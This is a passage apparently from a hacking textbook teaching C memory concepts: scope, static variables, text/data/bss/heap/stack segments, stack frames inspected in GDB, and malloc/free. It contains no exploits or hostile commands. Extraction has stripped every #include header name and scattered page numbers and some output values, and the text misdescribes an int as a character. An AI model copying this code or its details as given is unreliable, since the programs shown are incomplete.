P rog ra m min g

63

[in func1] i = 5, j = 42 [in func2] i = 7, j = 42 [in func2] setting j = 1337 [in func3] i = 11, j = 999 [back in func2] i = 7, j = 1337 [back in func1] i = 5, j = 1337 [back in main] i = 3, j = 1337 reader@hacking:~/booksrc $

In the output, the global variable j is written to in func2(), and the change persists in all functions except func3() , which has its own local variable called j. In this case, the compiler prefers to use the local variable. With all these variables using the same names, it can be a little confusing, but remember that in the end, it’s all just memory. The global variable j is just stored in memory, and every function is able to access that memory. The local variables for each function are each stored in their own places in memory, regardless of the identical names. Printing the memory addresses of these variables will give a clearer picture of what's going on. In the scope3.c example code below, the variable addresses are printed using the unary address-of operator. scope3.c
#include int j = 42; // j is a global variable. void func3() { int i = 11, j = 999; // Here, j is a local variable of func3(). printf("\t\t\t[in func3] i @ 0x%08x = %d\n", &i, i); printf("\t\t\t[in func3] j @ 0x%08x = %d\n", &j, j); } void func2() { int i = 7; printf("\t\t[in func2] i @ 0x%08x = %d\n", &i, i); printf("\t\t[in func2] j @ 0x%08x = %d\n", &j, j); printf("\t\t[in func2] setting j = 1337\n"); j = 1337; // Writing to j func3(); printf("\t\t[back in func2] i @ 0x%08x = %d\n", &i, i); printf("\t\t[back in func2] j @ 0x%08x = %d\n", &j, j); } void func1() { int i = 5; printf("\t[in func1] i @ 0x%08x = %d\n", &i, i); printf("\t[in func1] j @ 0x%08x = %d\n", &j, j); func2(); printf("\t[back in func1] i @ 0x%08x = %d\n", &i, i); printf("\t[back in func1] j @ 0x%08x = %d\n", &j, j); }

64

0x200

int main() { int i = 3; printf("[in main] i @ 0x%08x = %d\n", &i, i); printf("[in main] j @ 0x%08x = %d\n", &j, j); func1(); printf("[back in main] i @ 0x%08x = %d\n", &i, i); printf("[back in main] j @ 0x%08x = %d\n", &j, j); }

The results of compiling and executing scope3.c are as follows. reader@hacking:~/booksrc $ gcc scope3.c reader@hacking:~/booksrc $ ./a.out [in main] i @ 0xbffff834 = 3 [in main] j @ 0x08049988 = 42 [in func1] i @ 0xbffff814 = 5 [in func1] j @ 0x08049988 = 42 [in func2] i @ 0xbffff7f4 = 7 [in func2] j @ 0x08049988 = 42 [in func2] setting j = 1337 [in func3] i @ 0xbffff7d4 = 11 [in func3] j @ 0xbffff7d0 = 999 [back in func2] i @ 0xbffff7f4 = 7 [back in func2] j @ 0x08049988 = 1337 [back in func1] i @ 0xbffff814 = 5 [back in func1] j @ 0x08049988 = 1337 [back in main] i @ 0xbffff834 = 3 [back in main] j @ 0x08049988 = 1337 reader@hacking:~/booksrc $

In this output, it is obvious that the variable j used by func3() is different than the j used by the other functions. The j used by func3() is located at 0xbffff7d0, while the j used by the other functions is located at 0x08049988 . Also, notice that the variable i is actually a different memory address for each function. In the following output, GDB is used to stop execution at a breakpoint in func3(). Then the backtrace command shows the record of each function call on the stack. reader@hacking:~/booksrc $ gcc -g scope3.c reader@hacking:~/booksrc $ gdb -q ./a.out Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) list 1 1 #include 2 3 int j = 42; // j is a global variable. 4 5 void func3() { 6 int i = 11, j = 999; // Here, j is a local variable of func3(). 7 printf("\t\t\t[in func3] i @ 0x%08x = %d\n", &i, i); 8 printf("\t\t\t[in func3] j @ 0x%08x = %d\n", &j, j); 9 }

P rog ra m min g

65

10 (gdb) break 7 Breakpoint 1 at 0x8048388: file scope3.c, line 7. (gdb) run Starting program: /home/reader/booksrc/a.out [in main] i @ 0xbffff804 = 3 [in main] j @ 0x08049988 = 42 [in func1] i @ 0xbffff7e4 = 5 [in func1] j @ 0x08049988 = 42 [in func2] i @ 0xbffff7c4 = 7 [in func2] j @ 0x08049988 = 42 [in func2] setting j = 1337 Breakpoint 1, func3 () at scope3.c:7 7 printf("\t\t\t[in func3] i @ 0x%08x = %d\n", &i, i); (gdb) bt #0 func3 () at scope3.c:7 #1 0x0804841d in func2 () at scope3.c:17 #2 0x0804849f in func1 () at scope3.c:26 #3 0x0804852b in main () at scope3.c:35 (gdb)

The backtrace also shows the nested function calls by looking at records kept on the stack. Each time a function is called, a record called a stack frame is put on the stack. Each line in the backtrace corresponds to a stack frame. Each stack frame also contains the local variables for that context. The local variables contained in each stack frame can be shown in GDB by adding the word full to the backtrace command.
(gdb) bt full #0 func3 () at scope3.c:7 i = 11 j = 999 #1 0x0804841d in func2 () at scope3.c:17 i = 7 #2 0x0804849f in func1 () at scope3.c:26 i = 5 #3 0x0804852b in main () at scope3.c:35 i = 3 (gdb)

The full backtrace clearly shows that the local variable j only exists in func3()’s context. The global version of the variable j is used in the other function’s contexts. In addition to globals, variables can also be defined as static variables by prepending the keyword static to the variable definition. Similar to global variables, a static variable remains intact between function calls; however, static variables are also akin to local variables since they remain local within a particular function context. One different and unique feature of static variables is that they are only initialized once. The code in static.c will help explain these concepts.

66

0x200

static.c
#include void function() { // An example function, with its own context int var = 5; static int static_var = 5; // Static variable initialization printf("\t[in function] var = %d\n", var); printf("\t[in function] static_var = %d\n", static_var); var++; // Add one to var. static_var++; // Add one to static_var. } int main() { // The main function, with its own context int i; static int static_var = 1337; // Another static, in a different context for(i=0; i < 5; i++) { // Loop 5 times. printf("[in main] static_var = %d\n", static_var); function(); // Call the function. } }

The aptly named static_var is defined as a static variable in two places: within the context of main() and within the context of function(). Since static variables are local within a particular functional context, these variables can have the same name, but they actually represent two different locations in memory. The function simply prints the values of the two variables in its context and then adds 1 to both of them. Compiling and executing this code will show the difference between the static and nonstatic variables. reader@hacking:~/booksrc $ gcc static.c reader@hacking:~/booksrc $ ./a.out [in main] static_var = 1337 [in function] var = 5 [in function] static_var = 5 [in main] static_var = 1337 [in function] var = 5 [in function] static_var = 6 [in main] static_var = 1337 [in function] var = 5 [in function] static_var = 7 [in main] static_var = 1337 [in function] var = 5 [in function] static_var = 8 [in main] static_var = 1337 [in function] var = 5 [in function] static_var = 9 reader@hacking:~/booksrc $

P rog ra m min g

67

Notice that the static_var retains its value between subsequent calls to function(). This is because static variables retain their values, but also because they are only initialized once. In addition, since the static variables are local to a particular functional context, the static_var in the context of main() retains its value of 1337 the entire time. Once again, printing the addresses of these variables by dereferencing them with the unary address operator will provide greater viability into what’s really going on. Take a look at static2.c for an example. static2.c
#include void function() { // An example function, with its own context int var = 5; static int static_var = 5; // Static variable initialization printf("\t[in function] var @ %p = %d\n", &var, var); printf("\t[in function] static_var @ %p = %d\n", &static_var, static_var); var++; // Add 1 to var. static_var++; // Add 1 to static_var. } int main() { // The main function, with its own context int i; static int static_var = 1337; // Another static, in a different context for(i=0; i < 5; i++) { // loop 5 times printf("[in main] static_var @ %p = %d\n", &static_var, static_var); function(); // Call the function. } }

The results of compiling and executing static2.c are as follows. reader@hacking:~/booksrc $ gcc static2.c reader@hacking:~/booksrc $ ./a.out [in main] static_var @ 0x804968c = 1337 [in function] var @ 0xbffff814 = 5 [in function] static_var @ 0x8049688 [in main] static_var @ 0x804968c = 1337 [in function] var @ 0xbffff814 = 5 [in function] static_var @ 0x8049688 [in main] static_var @ 0x804968c = 1337 [in function] var @ 0xbffff814 = 5 [in function] static_var @ 0x8049688 [in main] static_var @ 0x804968c = 1337 [in function] var @ 0xbffff814 = 5 [in function] static_var @ 0x8049688 [in main] static_var @ 0x804968c = 1337 [in function] var @ 0xbffff814 = 5 [in function] static_var @ 0x8049688 reader@hacking:~/booksrc $

= 5

= 6

= 7

= 8

= 9

68

0x200

With the addresses of the variables displayed, it is apparent that the static_var in main() is different than the one found in function(), since they are located at different memory addresses (0x804968c and 0x8049688, respectively).

You may have noticed that the addresses of the local variables all have very high addresses, like 0xbffff814, while the global and static variables all have very low memory addresses, like 0x0804968c and 0x8049688. That’s very astute of you—noticing details like this and asking why is one of the cornerstones of hacking. Read on for your answers.

0x270

Memory Segmentation
A compiled program’s memory is divided into five segments: text, data, bss, heap, and stack. Each segment represents a special portion of memory that is set aside for a certain purpose. The text segment is also sometimes called the code segment. This is where the assembled machine language instructions of the program are located. The execution of instructions in this segment is nonlinear, thanks to the aforementioned high-level control structures and functions, which compile into branch, jump, and call instructions in assembly language. As a program executes, the EIP is set to the first instruction in the text segment. The processor then follows an execution loop that does the following: 1. 2. 3. 4. Reads the instruction that EIP is pointing to Adds the byte length of the instruction to EIP Executes the instruction that was read in step 1 Goes back to step 1

Sometimes the instruction will be a jump or a call instruction, which changes the EIP to a different address of memory. The processor doesn’t care about the change, because it’s expecting the execution to be nonlinear anyway. If EIP is changed in step 3, the processor will just go back to step 1 and read the instruction found at the address of whatever EIP was changed to. Write permission is disabled in the text segment, as it is not used to store variables, only code. This prevents people from actually modifying the program code; any attempt to write to this segment of memory will cause the program to alert the user that something bad happened, and the program will be killed. Another advantage of this segment being read-only is that it can be shared among different copies of the program, allowing multiple executions of the program at the same time without any problems. It should also be noted that this memory segment has a fixed size, since nothing ever changes in it. The data and bss segments are used to store global and static program variables. The data segment is filled with the initialized global and static variables, while the bss segment is filled with their uninitialized counterparts. Although these segments are writable, they also have a fixed size. Remember that global variables persist, despite the functional context (like the variable j in the previous examples). Both global and static variables are able to persist because they are stored in their own memory segments.
P rog ra m min g

69

The heap segment is a segment of memory a programmer can directly control. Blocks of memory in this segment can be allocated and used for whatever the programmer might need. One notable point about the heap segment is that it isn’t of fixed size, so it can grow larger or smaller as needed. All of the memory within the heap is managed by allocator and deallocator algorithms, which respectively reserve a region of memory in the heap for use and remove reservations to allow that portion of memory to be reused for later reservations. The heap will grow and shrink depending on how much memory is reserved for use. This means a programmer using the heap allocation functions can reserve and free memory on the fly. The growth of the heap moves downward toward higher memory addresses. The stack segment also has variable size and is used as a temporary scratch pad to store local function variables and context during function calls. This is what GDB’s backtrace command looks at. When a program calls a function, that function will have its own set of passed variables, and the function’s code will be at a different memory location in the text (or code) segment. Since the context and the EIP must change when a function is called, the stack is used to remember all of the passed variables, the location the EIP should return to after the function is finished, and all the local variables used by that function. All of this information is stored together on the stack in what is collectively called a stack frame. The stack contains many stack frames. In general computer science terms, a stack is an abstract data structure that is used frequently. It has first-in, last-out (FILO) ordering, which means the first item that is put into a stack is the last item to come out of it. Think of it as putting beads on a piece of string that has a knot on one end—you can’t get the first bead off until you have removed all the other beads. When an item is placed into a stack, it’s known as pushing, and when an item is removed from a stack, it’s called popping. As the name implies, the stack segment of memory is, in fact, a stack data structure, which contains stack frames. The ESP register is used to keep track of the address of the end of the stack, which is constantly changing as items are pushed into and popped off of it. Since this is very dynamic behavior, it makes sense that the stack is also not of a fixed size. Opposite to the dynamic growth of the heap, as the stack changes in size, it grows upward in a visual listing of memory, toward lower memory addresses. The FILO nature of a stack might seem odd, but since the stack is used to store context, it’s very useful. When a function is called, several things are pushed to the stack together in a stack frame. The EBP register—sometimes called the frame pointer (FP) or local base (LB) pointer—is used to reference local function variables in the current stack frame. Each stack frame contains the parameters to the function, its local variables, and two pointers that are necessary to put things back the way they were: the saved frame pointer (SFP) and the return address. The SFP is used to restore EBP to its previous value, and the return address is used to restore EIP to the next instruction found after the function call. This restores the functional context of the previous stack frame.

70

0x200

The following stack_example.c code has two functions: main() and test_function(). stack_example.c void test_function(int a, int b, int c, int d) { int flag; char buffer[10]; flag = 31337; buffer[0] = 'A'; } int main() { test_function(1, 2, 3, 4); }

This program first declares a test function that has four arguments, which are all declared as integers: a, b, c, and d. The local variables for the function include a single character called flag and a 10-character buffer called buffer. The memory for these variables is in the stack segment, while the machine instructions for the function’s code is stored in the text segment. After compiling the program, its inner workings can be examined with GDB. The following output shows the disassembled machine instructions for main() and test_function(). The main() function starts at 0x08048357 and test_function() starts at 0x08048344. The first few instructions of each function (shown in bold below) set up the stack frame. These instructions are collectively called the procedure prologue or function prologue. They save the frame pointer on the stack, and they save stack memory for the local function variables. Sometimes the function prologue will handle some stack alignment as well. The exact prologue instructions will vary greatly depending on the compiler and compiler options, but in general these instructions build the stack frame. reader@hacking:~/booksrc $ gcc -g stack_example.c reader@hacking:~/booksrc $ gdb -q ./a.out Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) disass main Dump of assembler code for function main(): 0x08048357 : push ebp 0x08048358 : mov ebp,esp 0x0804835a : sub esp,0x18 0x0804835d : and esp,0xfffffff0 0x08048360 : mov eax,0x0 0x08048365 : sub esp,eax 0x08048367 : mov DWORD PTR [esp+12],0x4 0x0804836f : mov DWORD PTR [esp+8],0x3 0x08048377 : mov DWORD PTR [esp+4],0x2 0x0804837f : mov DWORD PTR [esp],0x1 0x08048386 : call 0x8048344 0x0804838b : leave 0x0804838c : ret

P rog ra m min g

71

End of assembler dump (gdb) disass test_function() Dump of assembler code for function test_function: 0x08048344 : push ebp 0x08048345 : mov ebp,esp 0x08048347 : sub esp,0x28 0x0804834a : mov DWORD PTR [ebp-12],0x7a69 0x08048351 : mov BYTE PTR [ebp-40],0x41 0x08048355 : leave 0x08048356 : ret End of assembler dump (gdb)

When the program is run, the main() function is called, which simply calls test_function(). When the test_function() is called from the main() function, the various values are pushed to the stack to create the start of the stack frame as follows. When test_function() is called, the function arguments are pushed onto the stack in reverse order (since it’s FILO). The arguments for the function are 1, 2, 3, and 4, so the subsequent push instructions push 4, 3, 2, and finally 1 onto the stack. These values correspond to the variables d, c, b, and a in the function. The instructions that put these values on the stack are shown in bold in the main() function’s disassembly below.
(gdb) disass main Dump of assembler code for function main: 0x08048357 : push ebp 0x08048358 : mov ebp,esp 0x0804835a : sub esp,0x18 0x0804835d : and esp,0xfffffff0 0x08048360 : mov eax,0x0 0x08048365 : sub esp,eax 0x08048367 : mov DWORD PTR [esp+12],0x4 0x0804836f : mov DWORD PTR [esp+8],0x3 0x08048377 : mov DWORD PTR [esp+4],0x2 0x0804837f : mov DWORD PTR [esp],0x1 0x08048386 : call 0x8048344 0x0804838b : leave 0x0804838c : ret End of assembler dump (gdb)

Next, when the assembly call instruction is executed, the return address is pushed onto the stack and the execution flow jumps to the start of test_function() at 0x08048344. The return address value will be the location of the instruction following the current EIP—specifically, the value stored during step 3 of the previously mentioned execution loop. In this case, the return address would point to the leave instruction in main() at 0x0804838b. The call instruction both stores the return address on the stack and jumps EIP to the beginning of test_function(), so test_function()’s procedure prologue instructions finish building the stack frame. In this step, the current value of EBP is pushed to the stack. This value is called the saved frame
72
0x200

pointer (SFP) and is later used to restore EBP back to its original state. The current value of ESP is then copied into EBP to set the new frame pointer. This frame pointer is used to reference the local variables of the function (flag and buffer). Memory is saved for these variables by subtracting from ESP. In the end, the stack frame looks something like this:
Top of the Stack
Low addresses buffer flag

Saved frame pointer (SFP) Return address (ret) a b c d

Frame pointer (EBP)

High addresses

We can watch the stack frame construction on the stack using GDB. In the following output, a breakpoint is set in main() before the call to test_function() and also at the beginning of test_function() . GDB will put the first breakpoint before the function arguments are pushed to the stack, and the second breakpoint after test_function()’s procedure prologue. When the program is run, execution stops at the breakpoint, where the register’s ESP (stack pointer), EBP (frame pointer), and EIP (execution pointer) are examined.
(gdb) list main 4 5 flag = 31337; 6 buffer[0] = 'A'; 7 } 8 9 int main() { 10 test_function(1, 2, 3, 4); 11 } (gdb) break 10 Breakpoint 1 at 0x8048367: file stack_example.c, line 10. (gdb) break test_function Breakpoint 2 at 0x804834a: file stack_example.c, line 5. (gdb) run Starting program: /home/reader/booksrc/a.out Breakpoint 1, main () at stack_example.c:10 10 test_function(1, 2, 3, 4); (gdb) i r esp ebp eip esp 0xbffff7f0 0xbffff7f0 ebp 0xbffff808 0xbffff808 eip 0x8048367 0x8048367 (gdb) x/5i $eip 0x8048367 : mov DWORD PTR [esp+12],0x4
P rog ra m min g

73

0x804836f 0x8048377 0x804837f 0x8048386 (gdb)

: : : :

mov mov mov call

DWORD PTR DWORD PTR DWORD PTR 0x8048344

[esp+8],0x3 [esp+4],0x2 [esp],0x1

This breakpoint is right before the stack frame for the test_function() call is created. This means the bottom of this new stack frame is at the current value of ESP, 0xbffff7f0. The next breakpoint is right after the procedure prologue for test_function(), so continuing will build the stack frame. The output below shows similar information at the second breakpoint. The local variables (flag and buffer) are referenced relative to the frame pointer (EBP).
(gdb) cont Continuing. Breakpoint 2, test_function (a=1, b=2, c=3, d=4) at stack_example.c:5 5 flag = 31337; (gdb) i r esp ebp eip esp 0xbffff7c0 0xbffff7c0 ebp 0xbffff7e8 0xbffff7e8 eip 0x804834a 0x804834a (gdb) disass test_function Dump of assembler code for function test_function: 0x08048344 : push ebp 0x08048345 : mov ebp,esp 0x08048347 : sub esp,0x28 0x0804834a : mov DWORD PTR [ebp-12],0x7a69 0x08048351 : mov BYTE PTR [ebp-40],0x41 0x08048355 : leave 0x08048356 : ret End of assembler dump. (gdb) print $ebp-12 $1 = (void *) 0xbffff7dc (gdb) print $ebp-40 $2 = (void *) 0xbffff7c0 (gdb) x/16xw $esp 0xbffff7c0: 0x00000000 0x08049548 0xbffff7d8 0x08048249 0xbffff7d0: 0xb7f9f729 0xb7fd6ff4 0xbffff808 0x080483b9 0xbffff89c 0xbffff808 0x0804838b 0xbffff7e0: 0xb7fd6ff4 0xbffff7f0: 0x00000001 0x00000002 0x00000003 0x00000004 (gdb)

The stack frame is shown on the stack at the end. The four arguments to the function can be seen at the bottom of the stack frame ( ), with the return address found directly on top ( ). Above that is the saved frame pointer of 0xbffff808 ( ), which is what EBP was in the previous stack frame. The rest of the memory is saved for the local stack variables: flag and buffer. Calculating their relative addresses to EBP show their exact locations in the stack frame. Memory for the flag variable is shown at and memory for the buffer variable is shown at . The extra space in the stack frame is just padding.
74
0x200

After the execution finishes, the entire stack frame is popped off of the stack, and the EIP is set to the return address so the program can continue execution. If another function was called within the function, another stack frame would be pushed onto the stack, and so on. As each function ends, its stack frame is popped off of the stack so execution can be returned to the previous function. This behavior is the reason this segment of memory is organized in a FILO data structure. The various segments of memory are arranged in the order they were presented, from the lower memory addresses to the higher memory addresses. Since most people are familiar with seeing numbered lists that count downward, the smaller memory addresses are shown at the top. Some texts have this reversed, which can be very confusing; so for this book, smaller memory addresses Low addresses Text (code) segment are always shown at the top. Most debuggers also display memory in Data segment this style, with the smaller memory bss segment addresses at the top and the higher Heap segment ones at the bottom. Since the heap and the stack The heap grows down toward are both dynamic, they both grow higher memory addresses. in different directions toward each other. This minimizes wasted space, The stack grows up toward lower allowing the stack to be larger if the memory addresses. heap is small and vice versa.
Stack segment High addresses

0x271

Memory Segments in C

In C, as in other compiled languages, the compiled code goes into the text segment, while the variables reside in the remaining segments. Exactly which memory segment a variable will be stored in depends on how the variable is defined. Variables that are defined outside of any functions are considered to be global. The static keyword can also be prepended to any variable declaration to make the variable static. If static or global variables are initialized with data, they are stored in the data memory segment; otherwise, these variables are put in the bss memory segment. Memory on the heap memory segment must first be allocated using a memory allocation function called malloc() . Usually, pointers are used to reference memory on the heap. Finally, the remaining function variables are stored in the stack memory segment. Since the stack can contain many different stack frames, stack variables can maintain uniqueness within different functional contexts. The memory_segments.c program will help explain these concepts in C. memory_segments.c
#include int global_var;
P rog ra m min g

75

int global_initialized_var = 5; void function() { // This is just a demo function. int stack_var; // Notice this variable has the same name as the one in main(). printf("the function's stack_var is at address 0x%08x\n", &stack_var); }

int main() { int stack_var; // Same name as the variable in function() static int static_initialized_var = 5; static int static_var; int *heap_var_ptr; heap_var_ptr = (int *) malloc(4); // These variables are in the data segment. printf("global_initialized_var is at address 0x%08x\n", &global_initialized_var); printf("static_initialized_var is at address 0x%08x\n\n", &static_initialized_var); // These variables are in the bss segment. printf("static_var is at address 0x%08x\n", &static_var); printf("global_var is at address 0x%08x\n\n", &global_var); // This variable is in the heap segment. printf("heap_var is at address 0x%08x\n\n", heap_var_ptr); // These variables are in the stack segment. printf("stack_var is at address 0x%08x\n", &stack_var); function(); }

Most of this code is fairly self-explanatory because of the descriptive variable names. The global and static variables are declared as described earlier, and initialized counterparts are also declared. The stack variable is declared both in main() and in function() to showcase the effect of functional contexts. The heap variable is actually declared as an integer pointer, which will point to memory allocated on the heap memory segment. The malloc() function is called to allocate four bytes on the heap. Since the newly allocated memory could be of any data type, the malloc() function returns a void pointer, which needs to be typecast into an integer pointer. reader@hacking:~/booksrc $ gcc memory_segments.c reader@hacking:~/booksrc $ ./a.out global_initialized_var is at address 0x080497ec static_initialized_var is at address 0x080497f0 static_var is at address 0x080497f8 global_var is at address 0x080497fc heap_var is at address 0x0804a008

76

0x200

stack_var is at address 0xbffff834 the function's stack_var is at address 0xbffff814 reader@hacking:~/booksrc $

The first two initialized variables have the lowest memory addresses, since they are located in the data memory segment. The next two variables, static_var and global_var, are stored in the bss memory segment, since they aren’t initialized. These memory addresses are slightly larger than the previous variables’ addresses, since the bss segment is located below the data segment. Since both of these memory segments have a fixed size after compilation, there is little wasted space, and the addresses aren’t very far apart. The heap variable is stored in space allocated on the heap segment, which is located just below the bss segment. Remember that memory in this segment isn’t fixed, and more space can be dynamically allocated later. Finally, the last two stack_vars have very large memory addresses, since they are located in the stack segment. Memory in the stack isn’t fixed, either; however, this memory starts at the bottom and grows backward toward the heap segment. This allows both memory segments to be dynamic without wasting space in memory. The first stack_var in the main() function’s context is stored in the stack segment within a stack frame. The second stack_var in function() has its own unique context, so that variable is stored within a different stack frame in the stack segment. When function() is called near the end of the program, a new stack frame is created to store (among other things) the stack_var for function()’s context. Since the stack grows back up toward the heap segment with each new stack frame, the memory address for the second stack_var (0xbffff814 ) is smaller than the address for the first stack_var (0xbffff834 ) found within main()’s context.

0x272

Using the Heap

Using the other memory segments is simply a matter of how you declare variables. However, using the heap requires a bit more effort. As previously demonstrated, allocating memory on the heap is done using the malloc() function. This function accepts a size as its only argument and reserves that much space in the heap segment, returning the address to the start of this memory as a void pointer. If the malloc() function can’t allocate memory for some reason, it will simply return a NULL pointer with a value of 0. The corresponding deallocation function is free() . This function accepts a pointer as its only argument and frees that memory space on the heap so it can be used again later. These relatively simple functions are demonstrated in heap_example.c. heap_example.c
#include #include #include

P rog ra m min g

77

int main(int argc, char *argv[]) { char *char_ptr; // A char pointer int *int_ptr; // An integer pointer int mem_size; if (argc < 2) // If there aren't command-line arguments, mem_size = 50; // use 50 as the default value. else mem_size = atoi(argv[1]); printf("\t[+] allocating %d bytes of memory on the heap for char_ptr\n", mem_size); char_ptr = (char *) malloc(mem_size); // Allocating heap memory if(char_ptr == NULL) { // Error checking, in case malloc() fails fprintf(stderr, "Error: could not allocate heap memory.\n"); exit(-1); } strcpy(char_ptr, "This is memory is located on the heap."); printf("char_ptr (%p) --> '%s'\n", char_ptr, char_ptr); printf("\t[+] allocating 12 bytes of memory on the heap for int_ptr\n"); int_ptr = (int *) malloc(12); // Allocated heap memory again if(int_ptr == NULL) { // Error checking, in case malloc() fails fprintf(stderr, "Error: could not allocate heap memory.\n"); exit(-1); } *int_ptr = 31337; // Put the value of 31337 where int_ptr is pointing. printf("int_ptr (%p) --> %d\n", int_ptr, *int_ptr);

printf("\t[-] freeing char_ptr's heap memory...\n"); free(char_ptr); // Freeing heap memory printf("\t[+] allocating another 15 bytes for char_ptr\n"); char_ptr = (char *) malloc(15); // Allocating more heap memory if(char_ptr == NULL) { // Error checking, in case malloc() fails fprintf(stderr, "Error: could not allocate heap memory.\n"); exit(-1); } strcpy(char_ptr, "new memory"); printf("char_ptr (%p) --> '%s'\n", char_ptr, char_ptr); printf("\t[-] freeing int_ptr's heap memory...\n"); free(int_ptr); // Freeing heap memory printf("\t[-] freeing char_ptr's heap memory...\n"); free(char_ptr); // Freeing the other block of heap memory }

78

0x200

This program accepts a command-line argument for the size of the first memory allocation, with a default value of 50. Then it uses the malloc() and free() functions to allocate and deallocate memory on the heap. There are plenty of printf() statements to debug what is actually happening when the program is executed. Since malloc() doesn’t know what type of memory it’s allocating, it returns a void pointer to the newly allocated heap memory, which must be typecast into the appropriate type. After every malloc() call, there is an error-checking block that checks whether or not the allocation failed. If the allocation fails and the pointer is NULL, fprintf() is used to print an error message to standard error and the program exits. The fprintf() function is very similar to printf(); however, its first argument is stderr, which is a standard filestream meant for displaying errors. This function will be explained more later, but for now, it’s just used as a way to properly display an error. The rest of the program is pretty straightforward. reader@hacking:~/booksrc $ gcc -o heap_example heap_example.c reader@hacking:~/booksrc $ ./heap_example [+] allocating 50 bytes of memory on the heap for char_ptr char_ptr (0x804a008) --> 'This is memory is located on the heap.' [+] allocating 12 bytes of memory on the heap for int_ptr int_ptr (0x804a040) --> 31337 [-] freeing char_ptr's heap memory... [+] allocating another 15 bytes for char_ptr char_ptr (0x804a050) --> 'new memory' [-] freeing int_ptr's heap memory... [-] freeing char_ptr's heap memory... reader@hacking:~/booksrc $

In the preceding output, notice that each block of memory has an incrementally higher memory address in the heap. Even though the first 50 bytes were deallocated, when 15 more bytes are requested, they are put after the 12 bytes allocated for the int_ptr. The heap allocation functions control this behavior, which can be explored by changing the size of the initial memory allocation. reader@hacking:~/booksrc $ ./heap_example 100 [+] allocating 100 bytes of memory on the heap for char_ptr char_ptr (0x804a008) --> 'This is memory is located on the heap.' [+] allocating 12 bytes of memory on the heap for int_ptr int_ptr (0x804a070) --> 31337 [-] freeing char_ptr's heap memory... [+] allocating another 15 bytes for char_ptr char_ptr (0x804a008) --> 'new memory' [-] freeing int_ptr's heap memory... [-] freeing char_ptr's heap memory... reader@hacking:~/booksrc $

If a larger block of memory is allocated and then deallocated, the final 15-byte allocation will occur in that freed memory space, instead. By experimenting with different values, you can figure out exactly when the allocation
79

P rog ra m min g

function chooses to reclaim freed space for new allocations. Often, simple informative printf() statements and a little experimentation can reveal many things about the underlying system.

0x273

Error-Checked malloc()

In heap_example.c, there were several error checks for the malloc() calls. Even though the malloc() calls never failed, it’s important to handle all potential cases when coding in C. But with multiple malloc() calls, this errorchecking code needs to appear in multiple places. This usually makes the code look sloppy, and it’s inconvenient if changes need to be made to the error-checking code or if new malloc() calls are needed. Since all the errorchecking code is basically the same for every malloc() call, this is a perfect place to use a function instead of repeating the same instructions in multiple places. Take a look at errorchecked_heap.c for an example. errorchecked_heap.c
#include #include #include void *errorchecked_malloc(unsigned int); // Function prototype for errorchecked_malloc() int main(int argc, char *argv[]) { char *char_ptr; // A char pointer int *int_ptr; // An integer pointer int mem_size; if (argc < 2) // If there aren't command-line arguments, mem_size = 50; // use 50 as the default value. else mem_size = atoi(argv[1]); printf("\t[+] allocating %d bytes of memory on the heap for char_ptr\n", mem_size); char_ptr = (char *) errorchecked_malloc(mem_size); // Allocating heap memory strcpy(char_ptr, "This is memory is located on the heap."); printf("char_ptr (%p) --> '%s'\n", char_ptr, char_ptr); printf("\t[+] allocating 12 bytes of memory on the heap for int_ptr\n"); int_ptr = (int *) errorchecked_malloc(12); // Allocated heap memory again *int_ptr = 31337; // Put the value of 31337 where int_ptr is pointing. printf("int_ptr (%p) --> %d\n", int_ptr, *int_ptr); printf("\t[-] freeing char_ptr's heap memory...\n"); free(char_ptr); // Freeing heap memory printf("\t[+] allocating another 15 bytes for char_ptr\n"); char_ptr = (char *) errorchecked_malloc(15); // Allocating more heap memory strcpy(char_ptr, "new memory");

80

0x200

printf("char_ptr (%p) --> '%s'\n", char_ptr, char_ptr); printf("\t[-] freeing int_ptr's heap memory...\n"); free(int_ptr); // Freeing heap memory printf("\t[-] freeing char_ptr's heap memory...\n"); free(char_ptr); // Freeing the other block of heap memory } void *errorchecked_malloc(unsigned int size) { // An error-checked malloc() function void *ptr; ptr = malloc(size); if(ptr == NULL) { fprintf(stderr, "Error: could not allocate heap memory.\n"); exit(-1); } return ptr; }

The errorchecked_heap.c program is basically equivalent to the previous heap_example.c code, except the heap memory allocation and error checking has been gathered into a single function. The first line of code [void *errorchecked_malloc(unsigned int);] is the function prototype. This lets the compiler know that there will be a function called errorchecked_malloc() that expects a single, unsigned integer argument and returns a void pointer. The actual function can then be anywhere; in this case it is after the main() function. The function itself is quite simple; it just accepts the size in bytes to allocate and attempts to allocate that much memory using malloc() . If the allocation fails, the error-checking code displays an error and the program exits; otherwise, it returns the pointer to the newly allocated heap memory. This way, the custom errorchecked_malloc() function can be used in place of a normal malloc(), eliminating the need for repetitious error checking afterward. This should begin to highlight the usefulness of programming with functions.

0x280

Building on Basics
Once you understand the basic concepts of C programming, the rest is pretty easy. The bulk of the power of C comes from using other functions. In fact, if the functions were removed from any of the preceding programs, all that would remain are very basic statements.

0x281

File Access

There are two primary ways to access files in C: file descriptors and filestreams. File descriptors use a set of low-level I/O functions, and filestreams are a higher-level form of buffered I/O that is built on the lower-level functions. Some consider the filestream functions easier to program with; however, file descriptors are more direct. In this book, the focus will be on the low-level I/O functions that use file descriptors.
81

P rog ra m min g

The bar code on the back of this book represents a number. Because this number is unique among the other books in a bookstore, the cashier can scan the number at checkout and use it to reference information about this book in the store’s database. Similarly, a file descriptor is a number that is used to reference open files. Four common functions that use file descriptors are open(), close(), read(), and write(). All of these functions will return −1 if there is an error. The open() function opens a file for reading and/or writing and returns a file descriptor. The returned file descriptor is just an integer value, but it is unique among open files. The file descriptor is passed as an argument to the other functions like a pointer to the opened file. For the close() function, the file descriptor is the only argument. The read() and write() functions’ arguments are the file descriptor, a pointer to the data to read or write, and the number of bytes to read or write from that location. The arguments to the open() function are a pointer to the filename to open and a series of predefined flags that specify the access mode. These flags and their usage will be explained in depth later, but for now let’s take a look at a simple note-taking program that uses file descriptors—simplenote.c. This program accepts a note as a command-line argument and then adds it to the end of the file /tmp/notes. This program uses several functions, including a familiar looking error-checked heap memory allocation function. Other functions are used to display a usage message and to handle fatal errors. The usage() function is simply defined before main(), so it doesn’t need a function prototype. simplenote.c
#include #include #include #include #include

